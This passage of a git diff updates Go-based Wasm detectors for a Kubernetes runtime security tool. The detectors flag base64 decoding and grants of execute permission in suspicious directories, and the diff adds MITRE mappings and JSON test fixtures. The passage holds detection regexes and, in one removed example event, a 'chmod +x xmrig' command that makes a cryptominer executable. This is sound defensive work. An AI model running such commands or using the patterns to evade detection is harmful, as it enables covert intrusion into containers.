+ "T1132.001", + }, + }, + } +) + var ( base64Utils = []glob.Glob{ glob.MustCompile("*/base64"), @@ -52,8 +76,8 @@ var ( decodeArgs = regexp.MustCompile(`-(?:d|D|-decode)`) ) -// main is required for TinyGo to compile to Wasm. -func main() { +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -61,12 +85,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -101,7 +126,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe for _, b64 := range base64Utils { if b64.Match(binary) && decodeArgs.MatchString(args) { + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecDefault, binary, args) resp.Severity = api.DetectResp_LOW // <-- threat detected + return resp, nil } } @@ -119,263 +147,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): -{ - "process_exec": { - "process": { - "exec_id": "cHRjcy1tYXN0ZXItbm9kZTo4NTMzNzg0OTcwMTIwODc3OjE5OTI5MzQ=", - "pid": 1992934, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/base64", - "arguments": "-d", - "flags": "execve rootcwd clone", - "start_time": "2024-12-12T09:55:30.420477932Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian-raw", - "container": { - "id": "containerd://2ee9cb5d00f3c58ea29f9380aaa86c86e70efc424bfa92c33d8ee0d50e0b6d00", - "name": "test-pod-debian-raw", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-10-10T10:11:11Z", - "pid": 6051, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian-raw", - "workload_kind": "Pod" - }, - "docker": "2ee9cb5d00f3c58ea29f9380aaa86c8", - "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZTo4MjkzMzM5MDcyMTY2OTc5OjMxODA2Mzg=", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534481, - "is_host": false - }, - "ipc": { - "inum": 4026534482, - "is_host": false - }, - "mnt": { - "inum": 4026534484, - "is_host": false - }, - "pid": { - "inum": 4026534485, - "is_host": false - }, - "pid_for_children": { - "inum": 4026534485, - "is_host": false - }, - "net": { - "inum": 4026534422, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026534486, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 1992934, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "parent": { - "exec_id": "cHRjcy1tYXN0ZXItbm9kZTo4MjkzMzM5MDcyMTY2OTc5OjMxODA2Mzg=", - "pid": 3180638, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2024-12-09T15:07:53.152721975Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian-raw", - "container": { - "id": "containerd://2ee9cb5d00f3c58ea29f9380aaa86c86e70efc424bfa92c33d8ee0d50e0b6d00", - "name": "test-pod-debian-raw", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-10-10T10:11:11Z", - "pid": 5874, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian-raw", - "workload_kind": "Pod" - }, - "docker": "2ee9cb5d00f3c58ea29f9380aaa86c8", - "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZTo4MjkzMzM5MDY0MzE0NDQzOjMxODA2Mzg=", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534481, - "is_host": false - }, - "ipc": { - "inum": 4026534482, - "is_host": false - }, - "mnt": { - "inum": 4026534484, - "is_host": false - }, - "pid": { - "inum": 4026534485, - "is_host": false - }, - "pid_for_children": { - "inum": 4026534485, - "is_host": false - }, - "net": { - "inum": 4026534422, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026534486, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 3180638, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "ancestors": [] - }, - "node_name": "cs-master-node", - "time": "2024-12-12T09:55:30.420475628Z", - "aggregation_info": null +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } -*/ diff --git a/event-processor/detector/wasm/CS_RT_BASE64_DECODE_RUN/testdata/negative_base64_encode.json b/event-processor/detector/wasm/CS_RT_BASE64_DECODE_RUN/testdata/negative_base64_encode.json new file mode 100644 index 00000000..1060b987 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_BASE64_DECODE_RUN/testdata/negative_base64_encode.json @@ -0,0 +1,23 @@ +{ + "event": { + "process_exec": { + "process": { + "pid": 1992934, + "binary": "/usr/bin/base64", + "arguments": "-w 0 input.txt" + } + }, + "node_name": "test-node", + "time": "2024-12-12T09:55:30.420475628Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_BASE64_DECODE_RUN/testdata/positive_base64_decode.json b/event-processor/detector/wasm/CS_RT_BASE64_DECODE_RUN/testdata/positive_base64_decode.json new file mode 100644 index 00000000..9c078ee4 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_BASE64_DECODE_RUN/testdata/positive_base64_decode.json @@ -0,0 +1,278 @@ +{ + "event": { + "process_exec": { + "process": { + "exec_id": "cHRjcy1tYXN0ZXItbm9kZTo4NTMzNzg0OTcwMTIwODc3OjE5OTI5MzQ=", + "pid": 1992934, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/base64", + "arguments": "-d", + "flags": "execve rootcwd clone", + "start_time": "2024-12-12T09:55:30.420477932Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian-raw", + "container": { + "id": "containerd://2ee9cb5d00f3c58ea29f9380aaa86c86e70efc424bfa92c33d8ee0d50e0b6d00", + "name": "test-pod-debian-raw", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-10-10T10:11:11Z", + "pid": 6051, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian-raw", + "workload_kind": "Pod" + }, + "docker": "2ee9cb5d00f3c58ea29f9380aaa86c8", + "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZTo4MjkzMzM5MDcyMTY2OTc5OjMxODA2Mzg=", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534481, + "is_host": false + }, + "ipc": { + "inum": 4026534482, + "is_host": false + }, + "mnt": { + "inum": 4026534484, + "is_host": false + }, + "pid": { + "inum": 4026534485, + "is_host": false + }, + "pid_for_children": { + "inum": 4026534485, + "is_host": false + }, + "net": { + "inum": 4026534422, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026534486, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 1992934, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + }, + "parent": { + "exec_id": "cHRjcy1tYXN0ZXItbm9kZTo4MjkzMzM5MDcyMTY2OTc5OjMxODA2Mzg=", + "pid": 3180638, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "arguments": "", + "flags": "execve rootcwd", + "start_time": "2024-12-09T15:07:53.152721975Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian-raw", + "container": { + "id": "containerd://2ee9cb5d00f3c58ea29f9380aaa86c86e70efc424bfa92c33d8ee0d50e0b6d00", + "name": "test-pod-debian-raw", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-10-10T10:11:11Z", + "pid": 5874, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian-raw", + "workload_kind": "Pod" + }, + "docker": "2ee9cb5d00f3c58ea29f9380aaa86c8", + "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZTo4MjkzMzM5MDY0MzE0NDQzOjMxODA2Mzg=", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534481, + "is_host": false + }, + "ipc": { + "inum": 4026534482, + "is_host": false + }, + "mnt": { + "inum": 4026534484, + "is_host": false + }, + "pid": { + "inum": 4026534485, + "is_host": false + }, + "pid_for_children": { + "inum": 4026534485, + "is_host": false + }, + "net": { + "inum": 4026534422, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026534486, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 3180638, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + }, + "ancestors": [] + }, + "node_name": "test-master-node", + "time": "2024-12-12T09:55:30.420475628Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_BASE64_DECODE_RUN", + "severity": "LOW", + "reason_contains": "Base64", + "tactics": [ + "TA0005", + "TA0011" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "LOW", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_BIN_PERM_RAISE/main.go b/event-processor/detector/wasm/CS_RT_BIN_PERM_RAISE/main.go index 60332b17..4944c94a 100644 --- a/event-processor/detector/wasm/CS_RT_BIN_PERM_RAISE/main.go +++ b/event-processor/detector/wasm/CS_RT_BIN_PERM_RAISE/main.go @@ -14,13 +14,19 @@ import ( const ( ID = "CS_RT_BIN_PERM_RAISE" - Name = "Change of file access permisions" - Description = "The detector detects if permissions to execute files in the boot, dev, home, media, mnt, run, sys, tmp, and var directories were granted." + Name = "Change of file access permissions" + Description = "The detector detects if execution permissions for files in the boot, dev, home, media, mnt, run, sys, tmp, and var directories were granted. Existence of such permissions may be a sign that an attacker tried to execute an unauthorized and malicious code inside a container." Version = 3 Author = "Runtime Radar Team" License = "Apache License 2.0" ) +const ( + ExecChmod = "Detected that execution permissions were granted by the `%s` process, which was started using the `%s` arguments" + KprobeNoArgs = "Detected that execution permissions were granted to the `%s` file by the `%s` process" + KprobeDefault = "Detected that execution permissions were granted to the `%s` file by the `%s` process, which was started using the `%s` arguments" +) + var ( // triggerCriteria sets Trigger Criteria as map of events types to corresponding functions // which will be used by Detector. If function names are not applicable for @@ -40,6 +46,24 @@ var ( } ) +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0004", + Techniques: []string{ + "T1543", + "T1068", + }, + }, + { + Id: "TA0005", + Techniques: []string{ + "T1222.002", + }, + }, + } +) + var ( chmod = glob.MustCompile(`*/chmod`) execPerm = regexp.MustCompile(`^(?:[\-Rcfv\s]+)?(?:(?:[0-7]?[0-7][1357][0-7]\s|[0-7]?[1357][0-7][0-7]\s|[0-7]?[0-7][0-7][1357]\s)|(?:[ugoa]*[+=]x\s))`) @@ -60,8 +84,8 @@ var ( } ) -// main is required for TinyGo to compile to Wasm. -func main() { +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -69,12 +93,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -145,7 +170,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe // Trigger only on executable bits in arguments and suspicious directories. if execPermSet && suspiciousDir { + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecChmod, binary, args) resp.Severity = api.DetectResp_MEDIUM // <-- threat detected + return resp, nil } @@ -155,6 +183,8 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe // Nothing here case *tetragon.GetEventsResponse_ProcessKprobe: kprobe := ev.ProcessKprobe + binary := kprobe.GetProcess().GetBinary() + binaryArgs := kprobe.GetProcess().GetArguments() function := kprobe.GetFunctionName() args := kprobe.GetArgs() path := "" @@ -172,6 +202,12 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe for _, dir := range suspDirCwd { if dir.Match(path) { + resp.TacticsCovered = mitreTactics + if binaryArgs == "" { + resp.Reason = fmt.Sprintf(KprobeNoArgs, path, binary) + } else { + resp.Reason = fmt.Sprintf(KprobeDefault, path, binary, binaryArgs) + } resp.Severity = api.DetectResp_MEDIUM // <-- threat detected return resp, nil @@ -187,572 +223,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): - -PROCESS_EXEC - -{ - "process_exec": { - "process": { - "exec_id": "cHRjcy1tYXN0ZXItbm9kZTo2MDI5MzkyNDczOTkyNTY1OjI5ODg4OTU=", - "pid": 2988895, - "uid": 0, - "cwd": "/root", - "binary": "/usr/bin/chmod", - "arguments": "+x xmrig", - "flags": "execve clone", - "start_time": "2024-11-13T10:15:07.462453463Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian-raw", - "container": { - "id": "containerd://2ee9cb5d00f3c58ea29f9380aaa86c86e70efc424bfa92c33d8ee0d50e0b6d00", - "name": "test-pod-debian-raw", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-10-10T10:11:11Z", - "pid": 4630, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian-raw", - "workload_kind": "Pod" - }, - "docker": "2ee9cb5d00f3c58ea29f9380aaa86c8", - "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZTo1OTU4NjE5OTE0NDEwNjYyOjg3NjcyNg==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534481, - "is_host": false - }, - "ipc": { - "inum": 4026534482, - "is_host": false - }, - "mnt": { - "inum": 4026534484, - "is_host": false - }, - "pid": { - "inum": 4026534485, - "is_host": false - }, - "pid_for_children": { - "inum": 4026534485, - "is_host": false - }, - "net": { - "inum": 4026534422, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026534486, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 2988895, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "parent": { - "exec_id": "cHRjcy1tYXN0ZXItbm9kZTo1OTU4NjE5OTE0NDEwNjYyOjg3NjcyNg==", - "pid": 876726, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2024-11-12T14:35:34.902871824Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian-raw", - "container": { - "id": "containerd://2ee9cb5d00f3c58ea29f9380aaa86c86e70efc424bfa92c33d8ee0d50e0b6d00", - "name": "test-pod-debian-raw", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-10-10T10:11:11Z", - "pid": 4609, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian-raw", - "workload_kind": "Pod" - }, - "docker": "2ee9cb5d00f3c58ea29f9380aaa86c8", - "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZTo1OTU4NjE5ODY4NDU0Njk2Ojg3NjcyNg==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534481, - "is_host": false - }, - "ipc": { - "inum": 4026534482, - "is_host": false - }, - "mnt": { - "inum": 4026534484, - "is_host": false - }, - "pid": { - "inum": 4026534485, - "is_host": false - }, - "pid_for_children": { - "inum": 4026534485, - "is_host": false - }, - "net": { - "inum": 4026534422, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026534486, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 876726, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "ancestors": [] - }, - "node_name": "experts-k8s-cs", - "time": "2024-11-13T10:15:07.462452981Z", - "aggregation_info": null -} - -PROCESS_KPROBE - -{ - "process_kprobe": { - "process": { - "exec_id": "dnNoLWs4cy5hcHBzZWMtc3RhbmQucHRzZWN1cml0eS5jbG91ZDoxODEwOTkyMTM4Njc5NjQ3NjoyNzQ1MTE3", - "pid": 2745117, - "uid": 0, - "cwd": "/tmp", - "binary": "/usr/bin/chmod", - "arguments": "o+x reg-file", - "flags": "execve clone", - "start_time": "2025-12-10T19:03:39.717065187Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "containerd://35ae39802175a6d328218c2d35d878bf0402b37a229ee28b2960161c567eca5d", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:7e5bc0e499a8d50cb1e32287944a90b9ec8fd7d500673e75daff3f52882f5798", - "name": "docker.io/library/debian:12" - }, - "start_time": "2025-12-10T07:50:30Z", - "pid": 174, - "maybe_exec_probe": false, - "security_context": { - "privileged": false - } - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod", - "pod_annotations": {} - }, - "docker": "35ae39802175a6d328218c2d35d878b", - "parent_exec_id": "dnNoLWs4cy5hcHBzZWMtc3RhbmQucHRzZWN1cml0eS5jbG91ZDoxODEwNzg5OTk2NDM0Nzg5MDoyNzAxOTgy", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533802, - "is_host": false - }, - "ipc": { - "inum": 4026533803, - "is_host": false - }, - "mnt": { - "inum": 4026533805, - "is_host": false - }, - "pid": { - "inum": 4026533806, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533806, - "is_host": false - }, - "net": { - "inum": 4026533163, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026533807, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 2745117, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null, - "in_init_tree": false - }, - "parent": { - "exec_id": "dnNoLWs4cy5hcHBzZWMtc3RhbmQucHRzZWN1cml0eS5jbG91ZDoxODEwNzg5OTk2NDM0Nzg5MDoyNzAxOTgy", - "pid": 2701982, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2025-12-10T18:29:58.294617147Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "containerd://35ae39802175a6d328218c2d35d878bf0402b37a229ee28b2960161c567eca5d", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:7e5bc0e499a8d50cb1e32287944a90b9ec8fd7d500673e75daff3f52882f5798", - "name": "docker.io/library/debian:12" - }, - "start_time": "2025-12-10T07:50:30Z", - "pid": 82, - "maybe_exec_probe": false, - "security_context": { - "privileged": false - } - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod", - "pod_annotations": {} - }, - "docker": "35ae39802175a6d328218c2d35d878b", - "parent_exec_id": "dnNoLWs4cy5hcHBzZWMtc3RhbmQucHRzZWN1cml0eS5jbG91ZDoxODEwNzg5OTk2MzIwNzExMDoyNzAxOTgy", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533802, - "is_host": false - }, - "ipc": { - "inum": 4026533803, - "is_host": false - }, - "mnt": { - "inum": 4026533805, - "is_host": false - }, - "pid": { - "inum": 4026533806, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533806, - "is_host": false - }, - "net": { - "inum": 4026533163, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026533807, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 2701982, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null, - "in_init_tree": false - }, - "function_name": "security_path_chmod", - "args": [ - { - "path_arg": { - "mount": "", - "path": "/tmp/reg-file", - "flags": "", - "permission": "-rw-r--rw-" - }, - "label": "file path" - }, - { - "uint_arg": 423, - "label": "file mode" - } - ], - "return": null, - "action": "KPROBE_ACTION_POST", - "kernel_stack_trace": 